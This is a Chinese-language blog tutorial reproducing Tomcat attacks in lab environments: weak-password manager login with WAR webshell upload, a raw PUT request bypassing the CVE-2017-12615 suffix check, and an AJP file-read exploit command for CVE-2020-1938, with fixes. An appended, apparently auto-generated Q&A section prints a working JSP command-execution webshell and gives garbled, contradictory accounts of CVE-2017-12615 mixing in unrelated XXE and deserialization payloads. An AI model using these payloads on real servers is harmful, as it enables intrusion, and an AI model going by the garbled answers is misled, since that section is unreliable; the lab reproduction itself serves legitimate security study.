Tomcat漏洞CVE-2017-12615 CVE-2020-1938 tomcat8漏洞复现分析

目录

(一)Tomcat介绍

(二)Tomcat漏洞

1、Tomcat常见漏洞

(三)Tomcat弱口

1、漏洞介绍

2、漏洞原理

3、漏洞复现

3.1 进入靶场并打开环境

3.2 ip+端口

 3.3 访问 http://xxx/manager/html

 3.4 使用弱口令或者爆破的方式进入管理页面

 3.5 生成war包木马

3.6 上传木马到服务器

3.7 使用冰蝎连接

4、修复

(四)Tomcat PUT上传

 1、漏洞介绍

2、漏洞原理

 3、漏洞复现

3.1、访问存在漏洞的页面

 3.2 BP抓包

(五)Apache Tomcat文件包含漏洞

0x01 漏洞介绍

GitHub - YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞

0x02 影响版本

0x03 漏洞分析

3.1 AJP Connector

3.2 代码解析

3.3 任意文件读取

0x04 漏洞复现

1、cd CVE-2020-1938 然后 docker-compose up 再查看端口

 2、漏洞验证:

3、攻击机尝试利用exp读取该文件

0x05 漏洞修补


            由于笔者个人水平有限,行文如有不当,还请各位师傅评论指正,非常感谢!!!

(一)Tomcat介绍


        Tomcat是 Apache 软件基金会(Apache Software Foundation)的 Jakarta 项目中的一个核心项目,由 Apache 、 Sun 和其他一些公司及个人共同开发而成。由于有了 Sun 的参与和支持,最新的 Servlet JSP 规范总是能在 Tomcat 中得到体现, Tomcat 5 支持最新的 Servlet 2.4 JSP 2.0 规范。因为 Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为比较流行的 Web 应用服务器。
        Tomcat 服务器是一个免费的开放源代码的 Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应 HTML (标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是 Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行 tomcat 时,它实际上作为一个与
Apache 独立的进程单独运行的。

(二)Tomcat漏洞


1、Tomcat常见漏洞

  • Tomcat AJP 文件包含漏洞
  • Tomcat弱口令
  • Tomcat反序列化漏洞(CVE­2016­8735)
  • Tomcat本地提权漏洞(CVE­2016­1240)
  • TomcatJMX服务弱口令漏洞
  • TomcatPUT的上传漏洞(CVE­2017­12615)
  • Tomcat win版默认空口令漏洞(CVE­2009­3548)
  • Tomcat 样例目录session操控漏洞

(三)Tomcat弱口


1、漏洞介绍


tomcat存在管理后台进行应用部署管理,且管理后台使用HTTP基础认证进行登录。若用户口令为弱口令,攻击者容易进行暴力破解登录后台并进行应用管理。Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。

2、漏洞原理


1 、在 Tomcat 配置文件中存在弱口令
# 切换到配置目录 cd /usr/local/tomcat/conf 
# 查看配置文件 cat tomcat­users.xml

 2、BP用常用字典爆破

3、漏洞复现


3.1 进入靶场并打开环境

 

3.2 ip+端口

 3.3 访问 http://xxx/manager/html

 3.4 使用弱口令或者爆破的方式进入管理页面

 3.5 生成war包木马

jar cvf shell.war shell.jsp

3.6 上传木马到服务器

3.7 使用冰蝎连接

 

4、修复


        添加加密算法,更改弱口令

(四)Tomcat PUT上传


 1、漏洞介绍


CVE-2017-12615 对应的漏洞为任意文件写入,由于配置不当(非默认配置),导致可以使用 PUT 方法上传任意文件

2、漏洞原理


        在Tomcat 配置文件设置了 PUT 上传方法,在 web.xml 文件,可以发现,默认 readonly true ,当 readonly设置为 false 时,可以通过 PUT / DELETE 进行文件操控

 3、漏洞复现


3.1、访问存在漏洞的页面

 3.2 BP抓包

虽然 Tomcat 对文件后缀有一定检测(不能直接写 jsp ),但我们使用一些文件系统的特性(如 Linux 下可用 / )来绕过了限制
PUT /1.jsp/ HTTP/1.1 
Host: your­ip:8080 
Accept: */* 
Accept­Language: en 
User­Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close 
Content­Type: application/x­www­form­urlencoded 
Content­Length: 5 


shell

 其他的同上,中国蚁剑也可以

 最后关闭靶场环境。

(五)Apache Tomcat文件包含漏洞


0x01 漏洞介绍


        CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等,

GitHub - YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞

0x02 影响版本


  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

0x03 漏洞分析


3.1 AJP Connector

Apache Tomcat服务器通过Connector连接器组件与客户程序建立连接,Connector表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。在Apache Tomcat服务器中我们平时用的最多的8080端口,就是所谓的Http Connector,使用Http(HTTP/1.1)协议

在conf/server.xml文件里,它对应的配置为:

  <Connector port="8080" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" />

而 AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。

Ajp协议对应的配置为:

   <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

Tomcat服务器默认对外网开启该端口 Web客户访问Tomcat服务器的两种方式:

 

3.2 代码解析

在处理Ajp请求内容的是org.apache.coyote.ajp.AbstractAjpProcessor.java#prepareRequest()

 

这里首先判断SC_A_REQ_ATTRIBUTE,意思是如果使用的Ajp属性并不在上述的列表中,那么就进入这个条件

 SC_A_REQ_REMOTE_PORT对应的是AJP_REMOTE_PORT,这里指的是对远程端口的转发,Ajp13并没有转发远程端口,但是接受转发的数据作为远程端口。

 

于是这里我们可以进行对Ajp设置特定的属性,封装为request对象的Attribute属性 比如以下三个属性可以被设置:

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

3.3 任意文件读取

 

当请求被分发到org.apache.catalina.servlets.DefaultServlet#serveResource()方法时:
 

调用getRelativePath方法,需要获取到request_uri不为null,然后从request对象中获取并设置pathInfo属性值和servletPath属性值

 接着往下看到getResource方法时,会把path作为参数传入,获取到文件的源码

 

0x04 漏洞复现


1、cd CVE-2020-1938 然后 docker-compose up 再查看端口

web服务端口为8080,8009为AJP服务端口,打开浏览器输入虚拟机+8080出现下图则说明环境搭建成功。

 

 2、漏洞验证:

把下面任意一个下到本地,要有python环境,推荐用kali比较方便

https://github.com/0nise/CVE-2020-1938
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

3、攻击机尝试利用exp读取该文件

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.x.x -p 8009 -f WEB-INF/shell.txt

0x05 漏洞修补


  1. 关闭AJP默认开启端口(这里是8009)
  2. 升级tomcat,新版本已经修复漏洞。

  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: cve-2017-12615漏洞是Apache Tomcat服务器中的一个远程代码执行漏洞。攻击者可以通过发送特定的HTTP请求来利用该漏洞,从而在服务器上执行任意代码。 要复现漏洞,需要满足以下条件: 1. 目标服务器上运行的是Apache Tomcat 7..至7..79版本或8.5.至8.5.16版本。 2. 目标服务器上存在一个Web应用程序,其中包含一个可上传文件的Servlet。 3. 目标服务器上的Web应用程序未正确配置,允许攻击者上传包含恶意代码的JSP文件。 攻击者可以通过发送以下HTTP请求来利用该漏洞: PUT /test.jsp/ HTTP/1.1 Host: target.com Connection: close Content-Length: 100 <% out.println("Hello, world!"); %> 其中,test.jsp是攻击者上传的包含恶意代码的JSP文件。攻击者还需要在请求中包含一个特殊的Content-Type头,以触发漏洞。 如果攻击成功,攻击者就可以在目标服务器上执行任意代码,包括获取敏感信息、修改数据或者控制整个服务器。因此,建议管理员及时升级Apache Tomcat服务器,或者对Web应用程序进行正确的配置和安全审计。 ### 回答2: CVE-2017-12615漏洞是Apache Tomcat中的一个目录遍历漏洞,它使得攻击者能够通过发送特定的HTTP请求,获取Tomcat服务器上应用程序的敏感信息。这种漏洞的原因是Tomcat默认启用了WebDAV(Web Distributed Authoring and Versioning)服务,攻击者可以发送特定的HTTP PUT请求利用该漏洞服务器发送恶意的WAR文件,并且可以通过使用Windows UNC路径造成RCE漏洞。 下面是CVE-2017-12615漏洞复现步骤: 1.安装Tomcat服务器 2.根据Tomcat的版本,下载特定的利用工具(e.g.,ysoserial.jar 或者wmx.jar)。 3.使用ysoserial.jar或者wmx.jar(如图所示)创建一个恶意文件,并通过PUT请求将它上传到目标服务器。 4.在表单中输入如下内容: PUT /test.txt/WEB-INF/web.xml HTTP/1.1 Host: [Tomcat address]:[listening port] User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/xml Content-Length: 284 <?xml version="1.0"?> <!DOCTYPE x [ <!ELEMENT x ANY> <!ENTITY % p1 SYSTEM "file:///c:/windows/system32/test.bat"> <!ENTITY % p2 "<!ENTITY p3 '′%p1;%p1;′'>"> %p2;%p3; ]> 5.从服务器上获取war文件并进行反序列化,验证漏洞是否真实存在。 6.如果漏洞存在,则攻击者可以使用该漏洞获取Tomcat服务器上应用程序的敏感信息,并且可以在服务器上执行任意命令。 为了缓解该漏洞产生的风险,我们可以通过禁用WebDAV服务、运行Tomcat服务器以非特权用户身份、 对上传文件类型进行限制, 或者升级最新的Tomcat版本等方式来解决该漏洞。 ### 回答3: CVE-2017-12615 是 Apache Tomcat 中的一个远程代码执行漏洞。该漏洞存在于 Tomcat 7.0.0 到 7.0.79 版本和 Tomcat 8.5.0 到 8.5.16 版本中。攻击者可以利用该漏洞通过 HTTP 协议上传恶意 JSP 文件并执行任意命令。 为了演示该漏洞复现,我们需要先搭建一个虚拟机环境来运行 Apache Tomcat。在这里,我们以 Ubuntu 16.04.6 LTS 作为漏洞环境的操作系统。 安装 Apache Tomcat 首先,我们需要安装 Apache Tomcat。在终端窗口中执行以下命令: sudo apt-get update sudo apt-get install tomcat7 安装完成后,我们可以通过访问以下 URL 来确认 Tomcat 是否成功安装: http://localhost:8080/ 如果可以看到 Tomcat 的欢迎页面,则说明安装成功。 复现漏洞 接下来,我们需要复现 CVE-2017-12615 漏洞。步骤如下: 1. 创建一个名为 test.jsp 的 JSP 文件,该文件包含以下代码: <% if ("POST".equals(request.getMethod())) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = in.readLine()) != null) { out.println(line); } in.close(); } %> 2. 通过以下命令创建一个名为 test.war 的 Web 应用程序文件: jar -cvf test.war test.jsp 3. 接下来,我们需要在 Tomcat 的 webapps 目录下创建一个名为 test 目录。接着,将上传的 test.war 文件复制到该目录下: sudo mkdir /var/lib/tomcat7/webapps/test sudo mv test.war /var/lib/tomcat7/webapps/test/ 4. 通过以下 URL 访问 test.jsp 文件,可以发现该页面中含有一个命令执行的输入框: http://localhost:8080/test/test.jsp 5. 在输入框中输入以下命令,即可执行该命令并返回结果: cmd=ls 我们可以看到,这个漏洞可以允许攻击者上传包含恶意代码的 JSP 文件并执行恶意命令,扰乱服务器系统。因此,我们需要对 Apache Tomcat 应用程序服务器进行及时修复。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

@Camelus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值